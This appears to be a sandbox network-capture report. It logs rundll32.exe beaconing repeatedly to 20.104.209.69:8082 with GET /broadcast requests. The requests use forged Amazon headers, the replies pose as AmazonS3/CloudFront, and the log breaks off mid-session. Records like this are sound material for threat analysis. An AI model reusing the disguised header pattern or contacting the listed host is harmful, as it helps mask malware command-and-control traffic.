Jan 8, 2023 16:10:52.176300049 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.182323933 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.182363987 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.182405949 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.182550907 CET	50226	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.182595968 CET	50226	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.190383911 CET	50226	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.304553032 CET	8082	50226	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.317171097 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.431587934 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.431813955 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.432416916 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.546675920 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.552661896 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.552716017 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.552803993 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.552835941 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.552881956 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.571038961 CET	50227	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.685606956 CET	8082	50227	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.733968019 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.848613024 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.851253033 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.865314960 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.979439020 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.983756065 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.983855963 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.983879089 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:52.983941078 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.983989954 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:52.984472990 CET	50228	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.098444939 CET	8082	50228	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.119761944 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.234515905 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.235656977 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.237102985 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.351634026 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.355879068 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.355928898 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.355998039 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.356132984 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.356195927 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.356878996 CET	50229	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.470963955 CET	8082	50229	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.493637085 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.608027935 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.608340025 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.609744072 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.723769903 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.727482080 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.727519989 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.727732897 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.727755070 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.727826118 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.728899956 CET	50230	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.843688011 CET	8082	50230	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.877686024 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.992119074 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:53.992429018 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:53.999269962 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.113558054 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.117840052 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.117873907 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.117897034 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.117965937 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.117965937 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.118591070 CET	50231	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.232575893 CET	8082	50231	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.258800030 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.373092890 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.373344898 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.374128103 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.488327980 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.492630005 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.492671013 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.492697954 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.492846012 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.492902994 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.513736010 CET	50232	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.627890110 CET	8082	50232	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.648068905 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.762455940 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.762718916 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.768446922 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.882775068 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.886981964 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.887017012 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.887116909 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:54.887217045 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.887291908 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:54.888062954 CET	50233	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.002068996 CET	8082	50233	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.019292116 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.133820057 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.134018898 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.134573936 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.248805046 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.253361940 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.253400087 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.253437996 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.253477097 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.253532887 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.253585100 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.254149914 CET	50234	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.368204117 CET	8082	50234	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.391529083 CET	50235	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.505908966 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.506176949 CET	50235	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.508152008 CET	50235	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.622198105 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.626467943 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.626518011 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.626540899 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.626710892 CET	50235	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.627701998 CET	50235	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.741652012 CET	8082	50235	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.768521070 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.883487940 CET	8082	50236	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:55.883693933 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:55.885914087 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:56.000236034 CET	8082	50236	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:56.004635096 CET	8082	50236	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:56.004734993 CET	8082	50236	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:56.004791021 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:56.004800081 CET	8082	50236	20.104.209.69	192.168.2.6
Jan 8, 2023 16:10:56.004930019 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:56.004930019 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:56.012661934 CET	50236	8082	192.168.2.6	20.104.209.69
Jan 8, 2023 16:10:56.127026081 CET	8082	50236	20.104.209.69	192.168.2.6

HTTP Request Dependency Graph

https:

20.104.209.69:8082

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.6	49696	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:55.838337898 CET	90	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:55.958020926 CET	91	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.6	49698	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:56.203737020 CET	98	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:06:56.322467089 CET	100	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:47 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.6	49708	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:00.933655977 CET	388	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:01.051064014 CET	388	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:52 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.6	49799	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:41.362744093 CET	687	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:41.481235981 CET	688	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:32 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.6	49800	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:41.763915062 CET	690	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:41.882083893 CET	691	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.6	49801	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:42.155714035 CET	693	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:42.274116039 CET	694	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.6	49802	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:42.531378031 CET	697	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:42.651014090 CET	697	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:33 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.6	49803	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:42.917782068 CET	700	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:43.036145926 CET	700	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:34 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.6	49804	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:43.293674946 CET	703	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:43.412336111 CET	703	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:34 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.6	49805	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:43.679697990 CET	706	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:43.798173904 CET	707	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.6	49806	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:44.063766956 CET	709	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:44.182111025 CET	710	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.6	49807	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:44.449052095 CET	713	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:44.567636967 CET	713	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:07:35 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.6	49808	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
